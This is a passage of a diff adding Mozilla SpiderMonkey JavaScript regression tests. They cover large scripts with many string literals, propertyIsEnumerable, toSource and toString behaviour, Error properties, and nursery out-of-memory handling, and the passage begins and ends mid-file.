+ f('67929','67930','67931','67932');
+ f('67933','67934','67935','67936');
+ f('67937','67938','67939','67940');
+ f('67941','67942','67943','67944');
+ f('67945','67946','67947','67948');
+ f('67949','67950','67951','67952');
+ f('67953','67954','67955','67956');
+ f('67957','67958','67959','67960');
+ f('67961','67962','67963','67964');
+ f('67965','67966','67967','67968');
+ f('67969','67970','67971','67972');
+ f('67973','67974','67975','67976');
+ f('67977','67978','67979','67980');
+ f('67981','67982','67983','67984');
+ f('67985','67986','67987','67988');
+ f('67989','67990','67991','67992');
+ f('67993','67994','67995','67996');
+ f('67997','67998','67999','68000');
+ f('68001','68002','68003','68004');
+ f('68005','68006','68007','68008');
+ f('68009','68010','68011','68012');
+ f('68013','68014','68015','68016');
+ f('68017','68018','68019','68020');
+ f('68021','68022','68023','68024');
+ f('68025','68026','68027','68028');
+ f('68029','68030','68031','68032');
+ f('68033','68034','68035','68036');
+ f('68037','68038','68039','68040');
+ f('68041','68042','68043','68044');
+ f('68045','68046','68047','68048');
+ f('68049','68050','68051','68052');
+ f('68053','68054','68055','68056');
+ f('68057','68058','68059','68060');
+ f('68061','68062','68063','68064');
+ f('68065','68066','68067','68068');
+ f('68069','68070','68071','68072');
+ f('68073','68074','68075','68076');
+ f('68077','68078','68079','68080');
+ f('68081','68082','68083','68084');
+ f('68085','68086','68087','68088');
+ f('68089','68090','68091','68092');
+ f('68093','68094','68095','68096');
+ f('68097','68098','68099','68100');
+ f('68101','68102','68103','68104');
+ f('68105','68106','68107','68108');
+ f('68109','68110','68111','68112');
+ f('68113','68114','68115','68116');
+ f('68117','68118','68119','68120');
+ f('68121','68122','68123','68124');
+ f('68125','68126','68127','68128');
+ f('68129','68130','68131','68132');
+ f('68133','68134','68135','68136');
+ f('68137','68138','68139','68140');
+ f('68141','68142','68143','68144');
+ f('68145','68146','68147','68148');
+ f('68149','68150','68151','68152');
+ f('68153','68154','68155','68156');
+ f('68157','68158','68159','68160');
+ f('68161','68162','68163','68164');
+ f('68165','68166','68167','68168');
+ f('68169','68170','68171','68172');
+ f('68173','68174','68175','68176');
+ f('68177','68178','68179','68180');
+ f('68181','68182','68183','68184');
+ f('68185','68186','68187','68188');
+ f('68189','68190','68191','68192');
+ f('68193','68194','68195','68196');
+ f('68197','68198','68199','68200');
+ f('68201','68202','68203','68204');
+ f('68205','68206','68207','68208');
+ f('68209','68210','68211','68212');
+ f('68213','68214','68215','68216');
+ f('68217','68218','68219','68220');
+ f('68221','68222','68223','68224');
+ f('68225','68226','68227','68228');
+ f('68229','68230','68231','68232');
+ f('68233','68234','68235','68236');
+ f('68237','68238','68239','68240');
+ f('68241','68242','68243','68244');
+ f('68245','68246','68247','68248');
+ f('68249','68250','68251','68252');
+ f('68253','68254','68255','68256');
+ f('68257','68258','68259','68260');
+ f('68261','68262','68263','68264');
+ f('68265','68266','68267','68268');
+ f('68269','68270','68271','68272');
+ f('68273','68274','68275','68276');
+ f('68277','68278','68279','68280');
+ f('68281','68282','68283','68284');
+ f('68285','68286','68287','68288');
+ f('68289','68290','68291','68292');
+ f('68293','68294','68295','68296');
+ f('68297','68298','68299','68300');
+ f('68301','68302','68303','68304');
+ f('68305','68306','68307','68308');
+ f('68309','68310','68311','68312');
+ f('68313','68314','68315','68316');
+ f('68317','68318','68319','68320');
+ f('68321','68322','68323','68324');
+ f('68325','68326','68327','68328');
+ f('68329','68330','68331','68332');
+ f('68333','68334','68335','68336');
+ f('68337','68338','68339','68340');
+ f('68341','68342','68343','68344');
+ f('68345','68346','68347','68348');
+ f('68349','68350','68351','68352');
+ f('68353','68354','68355','68356');
+ f('68357','68358','68359','68360');
+ f('68361','68362','68363','68364');
+ f('68365','68366','68367','68368');
+ f('68369','68370','68371','68372');
+ f('68373','68374','68375','68376');
+ f('68377','68378','68379','68380');
+ f('68381','68382','68383','68384');
+ f('68385','68386','68387','68388');
+ f('68389','68390','68391','68392');
+ f('68393','68394','68395','68396');
+ f('68397','68398','68399','68400');
+ f('68401','68402','68403','68404');
+ f('68405','68406','68407','68408');
+ f('68409','68410','68411','68412');
+ f('68413','68414','68415','68416');
+ f('68417','68418','68419','68420');
+ f('68421','68422','68423','68424');
+ f('68425','68426','68427','68428');
+ f('68429','68430','68431','68432');
+ f('68433','68434','68435','68436');
+ f('68437','68438','68439','68440');
+ f('68441','68442','68443','68444');
+ f('68445','68446','68447','68448');
+ f('68449','68450','68451','68452');
+ f('68453','68454','68455','68456');
+ f('68457','68458','68459','68460');
+ f('68461','68462','68463','68464');
+ f('68465','68466','68467','68468');
+ f('68469','68470','68471','68472');
+ f('68473','68474','68475','68476');
+ f('68477','68478','68479','68480');
+ f('68481','68482','68483','68484');
+ f('68485','68486','68487','68488');
+ f('68489','68490','68491','68492');
+ f('68493','68494','68495','68496');
+ f('68497','68498','68499','68500');
+ f('68501','68502','68503','68504');
+ f('68505','68506','68507','68508');
+ f('68509','68510','68511','68512');
+ f('68513','68514','68515','68516');
+ f('68517','68518','68519','68520');
+ f('68521','68522','68523','68524');
+ f('68525','68526','68527','68528');
+ f('68529','68530','68531','68532');
+ f('68533','68534','68535','68536');
+ f('68537','68538','68539','68540');
+ f('68541','68542','68543','68544');
+ f('68545','68546','68547','68548');
+ f('68549','68550','68551','68552');
+ f('68553','68554','68555','68556');
+ f('68557','68558','68559','68560');
+ f('68561','68562','68563','68564');
+ f('68565','68566','68567','68568');
+ f('68569','68570','68571','68572');
+ f('68573','68574','68575','68576');
+ f('68577','68578','68579','68580');
+ f('68581','68582','68583','68584');
+ f('68585','68586','68587','68588');
+ f('68589','68590','68591','68592');
+ f('68593','68594','68595','68596');
+ f('68597','68598','68599','68600');
+ f('68601','68602','68603','68604');
+ f('68605','68606','68607','68608');
+ f('68609','68610','68611','68612');
+ f('68613','68614','68615','68616');
+ f('68617','68618','68619','68620');
+ f('68621','68622','68623','68624');
+ f('68625','68626','68627','68628');
+ f('68629','68630','68631','68632');
+ f('68633','68634','68635','68636');
+ f('68637','68638','68639','68640');
+ f('68641','68642','68643','68644');
+ f('68645','68646','68647','68648');
+ f('68649','68650','68651','68652');
+ f('68653','68654','68655','68656');
+ f('68657','68658','68659','68660');
+ f('68661','68662','68663','68664');
+ f('68665','68666','68667','68668');
+ f('68669','68670','68671','68672');
+ f('68673','68674','68675','68676');
+ f('68677','68678','68679','68680');
+ f('68681','68682','68683','68684');
+ f('68685','68686','68687','68688');
+ f('68689','68690','68691','68692');
+ f('68693','68694','68695','68696');
+ f('68697','68698','68699','68700');
+ f('68701','68702','68703','68704');
+ f('68705','68706','68707','68708');
+ f('68709','68710','68711','68712');
+ f('68713','68714','68715','68716');
+ f('68717','68718','68719','68720');
+ f('68721','68722','68723','68724');
+ f('68725','68726','68727','68728');
+ f('68729','68730','68731','68732');
+ f('68733','68734','68735','68736');
+ f('68737','68738','68739','68740');
+ f('68741','68742','68743','68744');
+ f('68745','68746','68747','68748');
+ f('68749','68750','68751','68752');
+ f('68753','68754','68755','68756');
+ f('68757','68758','68759','68760');
+ f('68761','68762','68763','68764');
+ f('68765','68766','68767','68768');
+ f('68769','68770','68771','68772');
+ f('68773','68774','68775','68776');
+ f('68777','68778','68779','68780');
+ f('68781','68782','68783','68784');
+ f('68785','68786','68787','68788');
+ f('68789','68790','68791','68792');
+ f('68793','68794','68795','68796');
+ f('68797','68798','68799','68800');
+ f('68801','68802','68803','68804');
+ f('68805','68806','68807','68808');
+ f('68809','68810','68811','68812');
+ f('68813','68814','68815','68816');
+ f('68817','68818','68819','68820');
+ f('68821','68822','68823','68824');
+ f('68825','68826','68827','68828');
+ f('68829','68830','68831','68832');
+ f('68833','68834','68835','68836');
+ f('68837','68838','68839','68840');
+ f('68841','68842','68843','68844');
+ f('68845','68846','68847','68848');
+ f('68849','68850','68851','68852');
+ f('68853','68854','68855','68856');
+ f('68857','68858','68859','68860');
+ f('68861','68862','68863','68864');
+ f('68865','68866','68867','68868');
+ f('68869','68870','68871','68872');
+ f('68873','68874','68875','68876');
+ f('68877','68878','68879','68880');
+ f('68881','68882','68883','68884');
+ f('68885','68886','68887','68888');
+ f('68889','68890','68891','68892');
+ f('68893','68894','68895','68896');
+ f('68897','68898','68899','68900');
+ f('68901','68902','68903','68904');
+ f('68905','68906','68907','68908');
+ f('68909','68910','68911','68912');
+ f('68913','68914','68915','68916');
+ f('68917','68918','68919','68920');
+ f('68921','68922','68923','68924');
+ f('68925','68926','68927','68928');
+ f('68929','68930','68931','68932');
+ f('68933','68934','68935','68936');
+ f('68937','68938','68939','68940');
+ f('68941','68942','68943','68944');
+ f('68945','68946','68947','68948');
+ f('68949','68950','68951','68952');
+ f('68953','68954','68955','68956');
+ f('68957','68958','68959','68960');
+ f('68961','68962','68963','68964');
+ f('68965','68966','68967','68968');
+ f('68969','68970','68971','68972');
+ f('68973','68974','68975','68976');
+ f('68977','68978','68979','68980');
+ f('68981','68982','68983','68984');
+ f('68985','68986','68987','68988');
+ f('68989','68990','68991','68992');
+ f('68993','68994','68995','68996');
+ f('68997','68998','68999','69000');
+ f('69001','69002','69003','69004');
+ f('69005','69006','69007','69008');
+ f('69009','69010','69011','69012');
+ f('69013','69014','69015','69016');
+ f('69017','69018','69019','69020');
+ f('69021','69022','69023','69024');
+ f('69025','69026','69027','69028');
+ f('69029','69030','69031','69032');
+ f('69033','69034','69035','69036');
+ f('69037','69038','69039','69040');
+ f('69041','69042','69043','69044');
+ f('69045','69046','69047','69048');
+ f('69049','69050','69051','69052');
+ f('69053','69054','69055','69056');
+ f('69057','69058','69059','69060');
+ f('69061','69062','69063','69064');
+ f('69065','69066','69067','69068');
+ f('69069','69070','69071','69072');
+ f('69073','69074','69075','69076');
+ f('69077','69078','69079','69080');
+ f('69081','69082','69083','69084');
+ f('69085','69086','69087','69088');
+ f('69089','69090','69091','69092');
+ f('69093','69094','69095','69096');
+ f('69097','69098','69099','69100');
+ f('69101','69102','69103','69104');
+ f('69105','69106','69107','69108');
+ f('69109','69110','69111','69112');
+ f('69113','69114','69115','69116');
+ f('69117','69118','69119','69120');
+ f('69121','69122','69123','69124');
+ f('69125','69126','69127','69128');
+ f('69129','69130','69131','69132');
+ f('69133','69134','69135','69136');
+ f('69137','69138','69139','69140');
+ f('69141','69142','69143','69144');
+ f('69145','69146','69147','69148');
+ f('69149','69150','69151','69152');
+ f('69153','69154','69155','69156');
+ f('69157','69158','69159','69160');
+ f('69161','69162','69163','69164');
+ f('69165','69166','69167','69168');
+ f('69169','69170','69171','69172');
+ f('69173','69174','69175','69176');
+ f('69177','69178','69179','69180');
+ f('69181','69182','69183','69184');
+ f('69185','69186','69187','69188');
+ f('69189','69190','69191','69192');
+ f('69193','69194','69195','69196');
+ f('69197','69198','69199','69200');
+ f('69201','69202','69203','69204');
+ f('69205','69206','69207','69208');
+ f('69209','69210','69211','69212');
+ f('69213','69214','69215','69216');
+ f('69217','69218','69219','69220');
+ f('69221','69222','69223','69224');
+ f('69225','69226','69227','69228');
+ f('69229','69230','69231','69232');
+ f('69233','69234','69235','69236');
+ f('69237','69238','69239','69240');
+ f('69241','69242','69243','69244');
+ f('69245','69246','69247','69248');
+ f('69249','69250','69251','69252');
+ f('69253','69254','69255','69256');
+ f('69257','69258','69259','69260');
+ f('69261','69262','69263','69264');
+ f('69265','69266','69267','69268');
+ f('69269','69270','69271','69272');
+ f('69273','69274','69275','69276');
+ f('69277','69278','69279','69280');
+ f('69281','69282','69283','69284');
+ f('69285','69286','69287','69288');
+ f('69289','69290','69291','69292');
+ f('69293','69294','69295','69296');
+ f('69297','69298','69299','69300');
+ f('69301','69302','69303','69304');
+ f('69305','69306','69307','69308');
+ f('69309','69310','69311','69312');
+ f('69313','69314','69315','69316');
+ f('69317','69318','69319','69320');
+ f('69321','69322','69323','69324');
+ f('69325','69326','69327','69328');
+ f('69329','69330','69331','69332');
+ f('69333','69334','69335','69336');
+ f('69337','69338','69339','69340');
+ f('69341','69342','69343','69344');
+ f('69345','69346','69347','69348');
+ f('69349','69350','69351','69352');
+ f('69353','69354','69355','69356');
+ f('69357','69358','69359','69360');
+ f('69361','69362','69363','69364');
+ f('69365','69366','69367','69368');
+ f('69369','69370','69371','69372');
+ f('69373','69374','69375','69376');
+ f('69377','69378','69379','69380');
+ f('69381','69382','69383','69384');
+ f('69385','69386','69387','69388');
+ f('69389','69390','69391','69392');
+ f('69393','69394','69395','69396');
+ f('69397','69398','69399','69400');
+ f('69401','69402','69403','69404');
+ f('69405','69406','69407','69408');
+ f('69409','69410','69411','69412');
+ f('69413','69414','69415','69416');
+ f('69417','69418','69419','69420');
+ f('69421','69422','69423','69424');
+ f('69425','69426','69427','69428');
+ f('69429','69430','69431','69432');
+ f('69433','69434','69435','69436');
+ f('69437','69438','69439','69440');
+ f('69441','69442','69443','69444');
+ f('69445','69446','69447','69448');
+ f('69449','69450','69451','69452');
+ f('69453','69454','69455','69456');
+ f('69457','69458','69459','69460');
+ f('69461','69462','69463','69464');
+ f('69465','69466','69467','69468');
+ f('69469','69470','69471','69472');
+ f('69473','69474','69475','69476');
+ f('69477','69478','69479','69480');
+ f('69481','69482','69483','69484');
+ f('69485','69486','69487','69488');
+ f('69489','69490','69491','69492');
+ f('69493','69494','69495','69496');
+ f('69497','69498','69499','69500');
+ f('69501','69502','69503','69504');
+ f('69505','69506','69507','69508');
+ f('69509','69510','69511','69512');
+ f('69513','69514','69515','69516');
+ f('69517','69518','69519','69520');
+ f('69521','69522','69523','69524');
+ f('69525','69526','69527','69528');
+ f('69529','69530','69531','69532');
+ f('69533','69534','69535','69536');
+ f('69537','69538','69539','69540');
+ f('69541','69542','69543','69544');
+ f('69545','69546','69547','69548');
+ f('69549','69550','69551','69552');
+ f('69553','69554','69555','69556');
+ f('69557','69558','69559','69560');
+ f('69561','69562','69563','69564');
+ f('69565','69566','69567','69568');
+ f('69569','69570','69571','69572');
+ f('69573','69574','69575','69576');
+ f('69577','69578','69579','69580');
+ f('69581','69582','69583','69584');
+ f('69585','69586','69587','69588');
+ f('69589','69590','69591','69592');
+ f('69593','69594','69595','69596');
+ f('69597','69598','69599','69600');
+ f('69601','69602','69603','69604');
+ f('69605','69606','69607','69608');
+ f('69609','69610','69611','69612');
+ f('69613','69614','69615','69616');
+ f('69617','69618','69619','69620');
+ f('69621','69622','69623','69624');
+ f('69625','69626','69627','69628');
+ f('69629','69630','69631','69632');
+ f('69633','69634','69635','69636');
+ f('69637','69638','69639','69640');
+ f('69641','69642','69643','69644');
+ f('69645','69646','69647','69648');
+ f('69649','69650','69651','69652');
+ f('69653','69654','69655','69656');
+ f('69657','69658','69659','69660');
+ f('69661','69662','69663','69664');
+ f('69665','69666','69667','69668');
+ f('69669','69670','69671','69672');
+ f('69673','69674','69675','69676');
+ f('69677','69678','69679','69680');
+ f('69681','69682','69683','69684');
+ f('69685','69686','69687','69688');
+ f('69689','69690','69691','69692');
+ f('69693','69694','69695','69696');
+ f('69697','69698','69699','69700');
+ f('69701','69702','69703','69704');
+ f('69705','69706','69707','69708');
+ f('69709','69710','69711','69712');
+ f('69713','69714','69715','69716');
+ f('69717','69718','69719','69720');
+ f('69721','69722','69723','69724');
+ f('69725','69726','69727','69728');
+ f('69729','69730','69731','69732');
+ f('69733','69734','69735','69736');
+ f('69737','69738','69739','69740');
+ f('69741','69742','69743','69744');
+ f('69745','69746','69747','69748');
+ f('69749','69750','69751','69752');
+ f('69753','69754','69755','69756');
+ f('69757','69758','69759','69760');
+ f('69761','69762','69763','69764');
+ f('69765','69766','69767','69768');
+ f('69769','69770','69771','69772');
+ f('69773','69774','69775','69776');
+ f('69777','69778','69779','69780');
+ f('69781','69782','69783','69784');
+ f('69785','69786','69787','69788');
+ f('69789','69790','69791','69792');
+ f('69793','69794','69795','69796');
+ f('69797','69798','69799','69800');
+ f('69801','69802','69803','69804');
+ f('69805','69806','69807','69808');
+ f('69809','69810','69811','69812');
+ f('69813','69814','69815','69816');
+ f('69817','69818','69819','69820');
+ f('69821','69822','69823','69824');
+ f('69825','69826','69827','69828');
+ f('69829','69830','69831','69832');
+ f('69833','69834','69835','69836');
+ f('69837','69838','69839','69840');
+ f('69841','69842','69843','69844');
+ f('69845','69846','69847','69848');
+ f('69849','69850','69851','69852');
+ f('69853','69854','69855','69856');
+ f('69857','69858','69859','69860');
+ f('69861','69862','69863','69864');
+ f('69865','69866','69867','69868');
+ f('69869','69870','69871','69872');
+ f('69873','69874','69875','69876');
+ f('69877','69878','69879','69880');
+ f('69881','69882','69883','69884');
+ f('69885','69886','69887','69888');
+ f('69889','69890','69891','69892');
+ f('69893','69894','69895','69896');
+ f('69897','69898','69899','69900');
+ f('69901','69902','69903','69904');
+ f('69905','69906','69907','69908');
+ f('69909','69910','69911','69912');
+ f('69913','69914','69915','69916');
+ f('69917','69918','69919','69920');
+ f('69921','69922','69923','69924');
+ f('69925','69926','69927','69928');
+ f('69929','69930','69931','69932');
+ f('69933','69934','69935','69936');
+ f('69937','69938','69939','69940');
+ f('69941','69942','69943','69944');
+ f('69945','69946','69947','69948');
+ f('69949','69950','69951','69952');
+ f('69953','69954','69955','69956');
+ f('69957','69958','69959','69960');
+ f('69961','69962','69963','69964');
+ f('69965','69966','69967','69968');
+ f('69969','69970','69971','69972');
+ f('69973','69974','69975','69976');
+ f('69977','69978','69979','69980');
+ f('69981','69982','69983','69984');
+ f('69985','69986','69987','69988');
+ f('69989','69990','69991','69992');
+ f('69993','69994','69995','69996');
+ f('69997','69998','69999','70000');
+ actual = 'No Crash, No Error';
+}
+catch(e)
+{
+ printStatus('caught ' + e);
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-156354.js b/js/src/tests/non262/regress/regress-156354.js
new file mode 100644
index 0000000000..d26d3e8393
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-156354.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 September 2002
+ * SUMMARY: Testing propertyIsEnumerable() on nonexistent property
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=156354
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 156354;
+var summary = 'Testing propertyIsEnumerable() on nonexistent property';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = this.propertyIsEnumerable('XYZ');
+expect = false;
+addThis();
+
+status = inSection(2);
+actual = this.propertyIsEnumerable('');
+expect = false;
+addThis();
+
+status = inSection(3);
+actual = this.propertyIsEnumerable(undefined);
+expect = false;
+addThis();
+
+status = inSection(4);
+actual = this.propertyIsEnumerable(null);
+expect = false;
+addThis();
+
+status = inSection(5);
+actual = this.propertyIsEnumerable('\u02b1');
+expect = false;
+addThis();
+
+
+var obj = {prop1:null};
+
+status = inSection(6);
+actual = obj.propertyIsEnumerable('prop1');
+expect = true;
+addThis();
+
+status = inSection(7);
+actual = obj.propertyIsEnumerable('prop2');
+expect = false;
+addThis();
+
+// let's try one via eval(), too -
+status = inSection(8);
+eval("actual = obj.propertyIsEnumerable('prop2')");
+expect = false;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js b/js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js
new file mode 100644
index 0000000000..b606da7d8d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+
+// Bug 1572988: Make a bunch of nursery ropes and flatten them with oomTest.
+// The goal is to get an OOM while flattening that makes registering the
+// string's malloc buffer with the nursery fail, triggering an assertion when
+// it gets tenured.
+
+var x = 0;
+var N = 1000; // This failed most of the time on my linux64 box.
+
+// But it can time out on the slower machines.
+if (this.getBuildConfiguration) {
+ for (let [k, v] of Object.entries(getBuildConfiguration())) {
+ if (k.includes("simulator") && v)
+ N = 10;
+ if (k.includes("arm") && v)
+ N = 10;
+ if (k.includes("android") && v)
+ N = 10;
+ }
+}
+
+function makeString() {
+ x += 1;
+ const extensible = ensureLinearString("aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + x);
+ return ensureLinearString(newRope(extensible, "bbbbbbbbbbbbbbb"));
+}
+
+function f(arr) {
+ for (let i = 0; i < N; i++)
+ arr.push(makeString());
+ return arr;
+}
+
+var globalStore = [];
+function ff() {
+ globalStore.push(f([]));
+}
+
+if (this.oomTest)
+ oomTest(ff);
+
+reportCompare(true, true, "nursery malloc buffer registration failure");
diff --git a/js/src/tests/non262/regress/regress-159334.js b/js/src/tests/non262/regress/regress-159334.js
new file mode 100644
index 0000000000..2a8c32be8b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-159334.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 Oct 2002
+ * SUMMARY: Testing script with at least 64K of different string literals
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=159334
+ *
+ * Testing that script engine can handle scripts with at least 64K of different
+ * string literals. The following will evaluate, via eval(), a script like this:
+ *
+ * f('0')
+ * f('1')
+ * ...
+ * f('N - 1')
+ *
+ * where N is 0xFFFE
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 159334;
+var summary = 'Testing script with at least 64K of different string literals';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var N = 0xFFFE;
+
+// Create big string for eval recursively to avoid N*N behavior
+// on string concatenation
+var long_eval = buildEval_r(0, N);
+
+// Run it
+var test_sum = 0;
+function f(str) { test_sum += Number(str); }
+eval(long_eval);
+
+status = inSection(1);
+actual = (test_sum == N * (N - 1) / 2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function buildEval_r(beginLine, endLine)
+{
+ var count = endLine - beginLine;
+
+ if (count == 0)
+ return "";
+
+ if (count == 1)
+ return "f('" + beginLine + "')\n";
+
+ var middle = beginLine + (count >>> 1);
+ return buildEval_r(beginLine, middle) + buildEval_r(middle, endLine);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-162392.js b/js/src/tests/non262/regress/regress-162392.js
new file mode 100644
index 0000000000..23dd0c1316
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-162392.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+
+//-----------------------------------------------------------------------------
+// SUMMARY: 10.1.8 Arguments Object length
+
+var BUGNUMBER = 162392;
+var summary = 'eval("arguments").length == 0 when no arguments specified';
+var actual = noargslength();
+var expect = 0;
+
+function noargslength()
+{
+ return eval('arguments').length;
+}
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-165201.js b/js/src/tests/non262/regress/regress-165201.js
new file mode 100644
index 0000000000..de5828c3dd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-165201.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 165201;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+summary = 'RegExp.prototype.toSource should not affect RegExp.prototype.toString';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ * Define function returning a regular expression literal
+ * and override RegExp.prototype.toSource
+ */
+
+function f()
+{
+ return /abc/;
+}
+
+RegExp.prototype.toSource = function() { return 'Hi there'; };
+
+expect = -1;
+actual = f.toString().indexOf('Hi there');
+
+reportCompare(expect, actual, summary);
+
+/*
+ * Define function returning an array literal
+ * and override RegExp.prototype.toSource
+ */
+summary = 'Array.prototype.toSource should not affect Array.prototype.toString';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ return [1,2,3];
+}
+
+Array.prototype.toSource = function() { return 'Hi there'; }
+
+ expect = -1;
+actual = g.toString().indexOf('Hi there');
+
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/non262/regress/regress-167328.js b/js/src/tests/non262/regress/regress-167328.js
new file mode 100644
index 0000000000..88ebe8d1e6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-167328.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 167328;
+var summary = 'Normal error reporting code should fill Error object properties';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'TypeError:19';
+try
+{
+ var obj = {toString: function() {return new Object();}};
+ var result = String(obj);
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name + ':' + e.lineNumber;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-167658.js b/js/src/tests/non262/regress/regress-167658.js
new file mode 100644
index 0000000000..3b4ed3f2e1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-167658.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 167658;
+var summary = 'Do not crash due to js_NewRegExp initialization';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var UBOUND=100;
+for (var j=0; j<UBOUND; j++)
+{
+ 'Apfelkiste, Apfelschale'.replace('Apfel', function()
+ {
+ for (var i = 0; i < arguments.length; i++)
+ printStatus(i+': '+arguments[i]);
+ return 'Bananen';
+ });
+
+ printStatus(j);
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-168347.js b/js/src/tests/non262/regress/regress-168347.js
new file mode 100644
index 0000000000..cdacb78a53
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-168347.js
@@ -0,0 +1,183 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Sep 2002
+ * SUMMARY: Testing F.toString()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=168347
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 168347;
+var summary = "Testing F.toString()";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var FtoString = '';
+var sFunc = '';
+
+sFunc += 'function F()';
+sFunc += '{';
+sFunc += ' var f = arguments.callee;';
+sFunc += ' f.i = 0;';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i = f.i + 1;';
+sFunc += ' print("i = i+1 succeeded \ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i = i+1 failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' ++f.i;';
+sFunc += ' print("++i succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("++i failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i++;';
+sFunc += ' print("i++ succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
